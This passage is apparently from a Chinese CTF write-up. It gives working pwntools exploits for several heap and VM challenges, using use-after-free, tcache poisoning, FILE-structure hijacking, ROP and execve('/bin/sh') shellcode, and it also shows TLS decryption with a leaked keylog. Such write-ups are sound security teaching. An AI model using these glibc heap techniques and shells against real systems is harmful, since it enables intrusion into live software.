    io.sendlineafter(b'> ', b'4')

def exitit():
    io.sendlineafter(b'Choice: ', b'5')

crew_add(0, b'a', b'b', 0x500, b'1') # libc leak
crew_add(1, b'a', b'b', 0x20, b'1') # padding
crew_delete(0) # leak libc
crew_add(0, b'a', b'b', 0) # padding
crew_add(2, b'2222', b'2222', 0) # unsorted (libc) -> backup
libc.address = u64(backup_view(2).ljust(8, b'\x00')) - 0x202f40 - 0x1000
print_leaked('libc_base', libc.address)
crew_add(3, b'2222', b'2222', 0) # unsorted (heap) -> backup
heap_addr = u64(backup_view(3).ljust(8, b'\x00'))
heap_base = heap_addr - 0x8b0
print_leaked('heap', heap_addr)

from SomeofHouse import HouseOfSome
hos = HouseOfSome(libc=libc, controled_addr=heap_addr + 0x4000)
payload = hos.hoi_read_file_template(heap_addr + 0x4000, 0x400, heap_addr + 0x4000, 0)

crew_add(4, b'a', b'b', 0x500, b'1') # unsorted
crew_add(5, b'a', b'b', 0x500, b'1') # padding
crew_add(6, b'a', b'b', 0x500, b'1') # unsorted
crew_add(7, b'a', b'b', 0x500, payload) # padding

crew_delete(4)
crew_delete(6)

crew_add(4, b'a', b'b', 0x260, b'1')
crew_add(6, b'a', b'b', 0)
# gdb.attach(io, '')
crew_add(8, b'a', b'b', 0) # controller
crew_add(9, b'a', b'b', 0x420, b'1')
crew_add(10, b'a', b'b', 0x20, b'1') # victim
backup_edit(8, p64(0) + p64(0x71) + p64(0x20) + p64(0))
crew_add(11, b'a', b'b', 0x3f0, b'1') # padding
crew_delete(1)
crew_delete(10)
backup_edit(8, p64(0) + p64(0x71) + p64((libc.sym['_IO_list_all'] - 0x10) ^ (heap_addr >> 12))) # edit tcache next

crew_add(12, b'PwnRiK', b'L-team', 0)
crew_add(13, p64(heap_addr + 3904), b'PWNED', 0)

exitit()
hos.bomb(io)

io.interactive()

签个到吧

执行 shellcode 前清空了寄存器上下文,但在 rdi 保留了 shellcode 基址,于是可以输入 /bin/sh 并执行 syscall execve("/bin/sh", 0, 0),getshell。

io.sendafter(b'strength \n', asm(f'add rdi, 13; mov rax, 59; syscall;') + b'/bin/sh')

好easy嘅题啦

VM 指令 heap 中可以操作堆快,alloc free print input。其中 free 后未置空堆块指针,存在 UAF。首先申请 0x500 大堆块,在其中提前写入之后用到的 shellcode:open read sendto。然后 free 此堆块进入 unsorted bin 并 print 以获取 libc 基址。接着申请 0x60 小堆块,获取其中残留的 tcache next,获取线程 heap 基址。经调试发现 pthreads 为新线程分配的栈与 libc 偏移固定,再利用 UAF double free tcache chunk,tcache poisoning 至线程栈上 heap operation 函数返回地址前 24 字节处,写入ROP 链 mprotect 修改页权限并 ret2shellcode。

Exp:

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './pwn'

p = process(binary)
# io = connect('127.0.0.1', 9999)
io = connect('node.vnteam.cn', 46995)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

io.sendlineafter(b'create? ', b'1\n')

# io = connect('127.0.0.1', 9999)
io = connect('node.vnteam.cn', 46995)
s = 0.5

def heap():
    io.sendline(b'heap 0 0')
    sleep(s)

def alloc(size: int):
    io.sendlineafter(b'Heap operate: ', b'alloc')
    io.sendlineafter(b'Size: ', itob(size))
    sleep(s)

def free():
    io.sendlineafter(b'Heap operate: ', b'free')
    sleep(s)

def printit():
    io.sendlineafter(b'Heap operate: ', b'print')
    sleep(s)

def input(content: bytes):
    io.sendlineafter(b'Heap operate: ', b'input')
    io.sendafter(b'Input: ', content)
    sleep(s)

def AveMujica():
    io.sendline(b'AveMujica 0 0')
    sleep(s)

io.recvuntil(b'Input your Code (end with EOF): ')

for _ in range(13):
    heap()
AveMujica()
io.sendline(b'EOF')

alloc(0x500)
input(p64(0xdeadbeef) * 4 + asm(f"""
    mov rax, 0x67616c662f
    push rax

    mov rax, __NR_open
    mov rdi, rsp
    xor rsi, rsi
    xor rdx, rdx
    syscall

    mov rax, __NR_read
    mov rdi, 9
    mov rsi, rsp
    mov rdx, 0x50
    syscall

    mov rax, __NR_sendto
    mov rdi, 7
    syscall
    mov rsi, rsp
    
"""))
free()
printit()

io.recvuntil(b'Content: ')
libc.address = u64(io.recv(8)) - 2206944
success(f'libc_base: 0x{libc.address:x}')

alloc(0x60)
free()
printit()

io.recvuntil(b'Content: ')
heap_key = u64(io.recv(8))
success(f'heap_key: 0x{heap_key:x}')

input(b'\x00' * 16)
free()
input(p64((libc.address - 980792 - 24) ^ heap_key))
alloc(0x60)
# gdb.attach(p, 'set resolve-heap-via-heuristic force\nb *$rebase(0xB2F9)')
alloc(0x60)
input(p64(0xcafebabe) * 3 + flat([
    libc.search(asm('pop rdi;ret')).__next__(),
    heap_key << 12,
    libc.search(asm('pop rsi;ret')).__next__(),
    0x1000,
    libc.search(asm('pop rdx;pop r12;ret')).__next__(),
    7,
    0,
    libc.sym['mprotect'],
    (heap_key << 12) + 1888
]))

io.interactive()

p.wait()

由于 lib 加载顺序不同,远程和本地的线程栈与 libc 偏移不同,需要在 docker container 中调试获取。

米塔调试机

输入指令时使用 scanf %s,可以溢出修改栈上 nowhomenowver,在 name 中构造假 MitaHome 和 Version 堆结构,将 nowhomenowver 劫持到对应位置,即可在 $delete 命令时构造任意 free。在此之前大量创建新 MitaHome 并在 ID 字段填入 0x601 和 0x41 构造假 unsorted 大小堆块,利用任意 free 获取 unsorted chunk 泄漏 libc 基址。然后同样方法 double free tcache poisoning,修改 _IO_list_allname 处,程序正常 exithouse of Some_IO_flush_all 时利用 IO wide_data 任意读写,利用 environ 泄漏栈基址,栈上 ROP)。

Exp:

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './vuln6'

# io = process(binary)
io = connect('node.vnteam.cn', 47984)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

# gdb.attach(io, '')

io.sendlineafter(b'name:\n', cyclic(0x200))
io.sendlineafter(b'>>> ', b'$show')
io.recvuntil(b'caaf')
heap_base = u32(io.recv(4)) - 672
success(f'heap_base: 0x{heap_base:x}')

io.sendlineafter(b'>>> ', f'aaaa-1_\x01\x06:aaaa')
for i in range(25):
    io.sendlineafter(b'>>> ', f'aaaa{i}_\x41:aaaa')

name = 0x4040E0

fake_heap  = p64(0) + p64(0x41) + p64(0) * 3 + p64(ord('1')) + p64(name + 0x10 + 0x40 * 2) + p64(name + 0x10 + 0x40)
fake_heap += p64(0) + p64(0x41) + cyclic(0x30)
fake_heap += p64(0) + p64(0x41) + p64(0) * 3 + p64(ord('1')) + p64(0) + p64(heap_base + 832)
fake_heap += p64(0) + p64(0x41) + cyclic(0x20) + p64(name + 0x10) + p64(0)

io.sendlineafter(b'>>> ', b'$name')
io.sendafter(b'name:\n', fake_heap)
io.sendlineafter(b'>>> ', b'$delete\x00'.ljust(1344, b'a') + p64(name + 0x10 + 0x40 * 2) + p64(name + 0x10 + 0x40 * 3))

io.sendlineafter(b'>>> ', b'$show\x00'.ljust(1344, b'a') + p64(heap_base + 832) + p64(name + 0x10 + 0x40 * 3))
0x1140a340
io.recvuntil(b'Now MiTaHome: ')
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 2206944
success(f'libc_base: 0x{libc.address:x}')

io.sendlineafter(b'>>> ', b'$name')
io.sendafter(b'name:\n', p64(0) + p64(0x41) + p64(0) * 3 + p64(ord('1')) + p64(0) + p64(name + 0x10 + 0x40) + p64(0) + p64(0x41) + cyclic(0x30) + p64(0) + p64(0x41) + cyclic(0x20) + p64(name + 0x10) + p64(0) * 2 + p64(0x41))
io.sendlineafter(b'>>> ', b'$delete\x00'.ljust(1344, b'a') + p64(name + 0x10) + p64(name + 0x10 + 0x40 * 2))

io.sendlineafter(b'>>> ', b'$name')
io.sendafter(b'name:\n', p64(0) + p64(0x41) + p64(libc.sym['_IO_list_all'] ^ 0x404) + p64(0) * 2 + p64(ord('1')) + p64(0) + p64(name + 0x10 + 0x40) + p64(0) + p64(0x41) + cyclic(0x30) + p64(0) + p64(0x41) + cyclic(0x20) + p64(name + 0x10) + p64(0) * 2 + p64(0x41))

io.sendlineafter(b'>>> ', b'mitaname_mitaid:vername')
io.sendlineafter(b'>>> ', p32(name)[:-1] + b'_mitaid:vername')

from SomeofHouse import HouseOfSome
hos = HouseOfSome(libc=libc, controled_addr=(heap_base) + 0x1000)
payload = hos.hoi_read_file_template((heap_base) + 0x1000, 0x400, (heap_base) + 0x1000, 0)
io.sendlineafter(b'>>> ', b'$name')
io.sendafter(b'name:\n', payload)

io.sendlineafter(b'>>> ', b'$exit')
io.recvuntil(b'Player out! :(\n')
hos.bomb_orw(io, b'/flag', offset=1816, read_length=128)

io.interactive()

虽然提示说有要用到可以无限长输入的指令格式,但其实只要空字节截断字符串就好?

vm

通过 read_vm 函数还原出 main 函数以及 VM 结构体:

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  initit();
  vmdata = mmap((void *)0x64617461000LL, 0x30000uLL, 3, 34, -1, 0LL);
  vmcode = (__int64)mmap((void *)0x7063000, 0x10000uLL, 3, 34, -1, 0LL);
  stack = (__int64)mmap((void *)0x73746163000LL, 0x20000uLL, 3, 34, -1, 0LL) + 0x10000;
  read_vm((struct vm *)&vmdata);
  execute((vm *)&vmdata);
}
00000000 struct vm // sizeof=0x58
00000000 {
00000000     char *vmdata;
00000008     char *pc;
00000010     uint64_t *regs[6];
00000040     char *stack;
00000048     __int64 base;
00000050     __int64 field_50;
00000058 };

其中 regsstackbase 字段在 execute 内部逆向过程中得出。

进入 execute 中的 decode 可以看出指令由指令最低 2 位分为四种:11 - 加载立即数至寄存器、10 - 两个形式地址、01 - 一个形式地址、00 - 带参数的隐含寻址,每种指令每个形式地址有直接寻址和寄存器间接寻址方式排列组合。

__int64 __fastcall decode(struct vm *vm, char *reading_code)
{
  char *vmcode0; // rax
  int low2; // eax
  char *pc; // rax
  char *_opcode1; // rax
  __int64 result; // rax
  char *__code1; // rax
  char *_code2; // rax
  char *vmcode1; // rax
  unsigned __int8 v10; // [rsp+17h] [rbp-9h]
  unsigned int i; // [rsp+18h] [rbp-8h]

  vmcode0 = vm->pc;
  vm->pc = vmcode0 + 1;
  *reading_code = *vmcode0;
  reading_code[1] = *reading_code & 3;
  low2 = (unsigned __int8)reading_code[1];
  if ( low2 == 3 )
  {
    vmcode1 = vm->pc;
    vm->pc = vmcode1 + 1;
    *((_DWORD *)reading_code + 1) = (unsigned __int8)*vmcode1;
    if ( check_reg(*((_DWORD *)reading_code + 1)) )
      return 0xFFFFFFFFLL;
    *((_DWORD *)reading_code + 2) = *(_QWORD *)vm->pc;
    vm->pc += 8;
  }
  else if ( (unsigned __int8)reading_code[1] <= 3u )
  {
    if ( low2 == 2 )                            // 2
    {
      __code1 = vm->pc;
      vm->pc = __code1 + 1;
      *((_DWORD *)reading_code + 1) = (unsigned __int8)*__code1;
      _code2 = vm->pc;
      vm->pc = _code2 + 1;
      *((_DWORD *)reading_code + 2) = (unsigned __int8)*_code2;
      if ( check_reg(*((_DWORD *)reading_code + 1)) && check_reg(*((_DWORD *)reading_code + 2)) )
        return 0xFFFFFFFFLL;
    }
    else if ( reading_code[1] )                 // 1
    {
      _opcode1 = vm->pc;
      vm->pc = _opcode1 + 1;
      v10 = *_opcode1;
      if ( check_reg((unsigned __int8)*_opcode1) )
        return 0xFFFFFFFFLL;
      *((_DWORD *)reading_code + 1) = v10;
    }
    else                                        // 0
    {
      for ( i = 0; i <= 2; ++i )
      {
        *((_DWORD *)reading_code + 1) <<= 8;
        pc = vm->pc;
        vm->pc = pc + 1;
        *((_DWORD *)reading_code + 1) |= (unsigned __int8)*pc;
      }
    }
  }
  result = (unsigned __int8)*reading_code;
  if ( !(_BYTE)result )
    return 0xFFFFFFFFLL;
  return result;
}
void __fastcall __noreturn execute(vm *vm)
{
  int M; // eax
  _BYTE *code; // [rsp+18h] [rbp-8h]

  code = malloc(12uLL);
  memset(code, 0, 8uLL);
  do
  {
    if ( (unsigned int)decode(vm, code) == -1 )
      break;
    M = *code & 3;
    if ( M == 3 )                               // imm
    {
      imm(vm, code);
    }
    else if ( (*code & 3u) <= 3 )
    {
      if ( M == 2 )                             // 2
      {
        two((__int64)vm, (__int64)code);
      }
      else if ( (*code & 3) != 0 )              // 1
      {
        one(vm, (__int64)code);
      }
      else                                      // 3*1
      {
        three((__int64)vm, (__int64)code);
      }
    }
    memset(code, 0, 0xCuLL);
    if ( vm->pc <= (char *)0x7062FFF )
      break;
  }
  while ( vm->pc <= (char *)0x7162FFF && vm->stack > (char *)0x73746162FFFLL && vm->stack <= (char *)0x73746183000LL );
  puts("Segment error");
  _exit(0);
}

然后可以照着 ROM vmcode 文件辅助分析,可以抄录 vmcode 如下:

load %0, $1     ; stdout
load %1, $0     ; vmdata + 0
load %2, $0x1b  ; length
syscall 0, 0, 1 ; SYS_write
???
pop %0          ; clear %0
pop %1          ; clear %1
add %1, $0x200  ; vmdata + 0x200
xor %0, %0      ; stdin
load %2, $0x300 ; length
syscall 0, 0, 0 ; SYS_read
jmp %1;         ; jump to vmcode + 0x300

各种指令最关键的是 VM syscall,有 read、write、exit、create、delete、load(从 vmdata 写入堆)、put(从堆写入 vmdata)。

void __fastcall heap_op(__int64 a1, __int64 a2, void *a3, size_t a4)
{
  switch ( (int)a1 )
  {
    case 0:
      if ( ((unsigned __int64)a3 <= 0x64617460FFFLL || (unsigned __int64)a3 > 0x64617491000LL)
        && ((unsigned __int64)a3 <= 0x7062FFF || (unsigned __int64)a3 > 0x7073000) )
      {
        insecure(a1, a2);
      }
      read(a2, a3, a4);
      break;
    case 1:
      if ( (unsigned __int64)a3 <= 0x64617460FFFLL || (unsigned __int64)a3 > 0x64617491000LL )
        insecure(a1, a2);
      write(a2, a3, a4);
      break;
    case 2:
      exit(a2);
    case 3:
      create(a2);
      break;
    case 4:
      delete(a2);
      break;
    case 5:
      load(a2, (unsigned int)a3, a4);
      break;
    case 6:
      put(a2, (unsigned int)a3, a4);
      break;
    default:
      return;
  }
}

其中 create、delete 为堆操作,add 限制 16 个, delete 有 UAF 漏洞。

__int64 __fastcall create(unsigned int size)
{
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; chunks[i] && i <= 15; ++i )
    ;
  if ( i == 16 )
    return 0LL;
  chunks[i] = malloc(size);
  if ( !chunks[i] )
    return 0LL;
  sizes[i] = size;
  return 1LL;
}
void __fastcall delete(unsigned int idx)
{
  if ( idx <= 0xF )
  {
    if ( chunks[idx] )
      free((void *)chunks[idx]);                // UAF
  }
}

然后就是典型的 libc 堆利用。参考之前抄写的 ROM vmcode,依葫芦画瓢写出堆操作模板。

def load(reg: int, imm: int):
    return b'\x0f' + p8(reg) + p64(imm)

def add(size: int) -> bytes:
    return load(0, size) + b'\xcc\x00\x00\x03'

def edit(index: int, address: int, length: int) -> bytes:
    return load(0, index) + load(1, address) + load(2, length) + b'\xcc\x00\x00\x05'

def delete(index: int) -> bytes:
    return load(0, index) + b'\xcc\x00\x00\x04'

def load_to(offset: int, imm: int) -> bytes:
    return load(0, offset) + load(1, imm) + b'\x46\x01\x00'

def put_to(index: int, address: int, lenngth: int) -> bytes:
    return load(0, index) + load(1, address) + load(2, lenngth) + b'\xcc\x00\x00\x06'

def print_to(fd: int, offset: int, length: int) -> bytes:
    return load(0, fd) + load(1, offset) + load(2, length) + b'\xd4\x00\x00\x01'

def exitit():
    return b'\xcc\x00\x00\x02'

unsorted bin chunk leak libc_base,tcache bin chunk leak heap_base。利用 UAF 修改 tcache next,tcache attack 劫持 _IO_list_all,程序正常 exithouse of Some_IO_flush_all 时利用 IO wide_data 任意读写,利用 environ 泄漏栈基址,栈上 ROP)getshell。

d995597d-d16e-461f-9c8c-493287f656e2

Exp:

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './vm'

io = process('./vm')
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

# gdb.attach(io)
'b *$rebase(0x1599)\n'
'b *$rebase(0x196f)\nb *$rebase(0x1924)\nb *$rebase(0x1743)'

with open('vmcode', 'rb') as file:
    io.sendafter(b'opcodes:\n', file.read()[4:])

def load(reg: int, imm: int):
    return b'\x0f' + p8(reg) + p64(imm)

def add(size: int) -> bytes:
    return load(0, size) + b'\xcc\x00\x00\x03'

def edit(index: int, address: int, length: int) -> bytes:
    return load(0, index) + load(1, address) + load(2, length) + b'\xcc\x00\x00\x05'

def delete(index: int) -> bytes:
    return load(0, index) + b'\xcc\x00\x00\x04'

def load_to(offset: int, imm: int) -> bytes:
    return load(0, offset) + load(1, imm) + b'\x46\x01\x00'

def put_to(index: int, address: int, lenngth: int) -> bytes:
    return load(0, index) + load(1, address) + load(2, lenngth) + b'\xcc\x00\x00\x06'

def print_to(fd: int, offset: int, length: int) -> bytes:
    return load(0, fd) + load(1, offset) + load(2, length) + b'\xd4\x00\x00\x01'

def exitit():
    return b'\xcc\x00\x00\x02'

with open('vmcode', 'rb') as file:
    io.sendafter(b'opcodes:\n', add(0x500) + add(0x50) + delete(0) + put_to(0, 0x110, 0x8) + print_to(1, 0x110, 0x8) + file.read()[4:])

libc.address = u64(io.recv(8)) - 2206944
print(f'libc_base: {hex(libc.address)}')

with open('vmcode', 'rb') as file:
    io.sendafter(b'opcodes:\n', delete(1) + put_to(1, 0x110, 0x8) + print_to(1, 0x110, 0x8) + file.read()[4:])
heap_base = u64(io.recv(8))
print(f'heap_base: {hex(heap_base)}')
print(f'search -t qword {hex(libc.sym['_IO_list_all'] ^ heap_base)}')

fake_file_offset = 0x7063aa8
from SomeofHouse import HouseOfSome
hos = HouseOfSome(libc=libc, controled_addr=(heap_base << 12) + 0x1000)
payload = hos.hoi_read_file_template((heap_base << 12) + 0x1000, 0x400, (heap_base << 12) + 0x1000, 0)

io.sendlineafter(b'opcodes:\n', (edit(1, 0x200, 0x16) + delete(1) + load_to(0x100, (libc.sym['_IO_list_all'] ^ heap_base) & 0xffffffff) + load_to(0x104, (libc.sym['_IO_list_all'] ^ heap_base) >> 32) + edit(1, 0x100, 0x8) + add(0x50) + add(0x50) + load_to(0x200, fake_file_offset) + edit(3, 0x200, 0x8) + exitit()).ljust(0x150, b'\x00') + payload)

hos.bomb(io)

io.interactive()

5G消息_TLS

根据题目标题和流量内容,用 Wireshark 分析电话/SIP 流,其中第一条短信是:

Alice, I am Bob. I stole the sslkeylog file, this is crazy.

接下来 Bob 将 keylog_file 分段发送。将这几条短信内容拼接得到:

SERVER_HANDSHAKE_TRAFFIC_SECRET 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 994da7436ac3193aff9c2ebaa3c072ea2c5b704683928e9f6e24d183e7e530386c1dcd186b9286f98249b4dc90d8b795
EXPORTER_SECRET 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 31882156a3212a425590ce171cb78068ee63e7358b587fed472d45d67ea567d98a079c84867a18665732cf0bfe18f0b0
SERVER_TRAFFIC_SECRET_0 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 1fbf7c07ca88c7c91be9cce4c9051f2f4bd7fb9714920661d026119ebab458db8637089348dd5a92dc75633bdcf43630
CLIENT_HANDSHAKE_TRAFFIC_SECRET 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 a98fab3039737579a50e2b3d0bbaba7c9fcf6881d26ccf15890b06d723ba605f096dbe448cd9dcc6cf4ef5c82d187bd0
CLIENT_TRAFFIC_SECRET_0 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 646306cb35d94f23e125225dc3d3c727df65b6fcec4c6cd77b6f8e2ff36d48e2b7e92e8f9188597c961866b3b667f405

将它保存为文件,在 Wireshark 编辑/首选项/Protocols/TLS 中设置 (Pre)-Master-Secret log filename 即可解密 TLS 流。在短信之前的 TLS 流中可以提取到 PNG 图片,内容即为 flag:

abcdef1234567890deadbeefc0ffeeba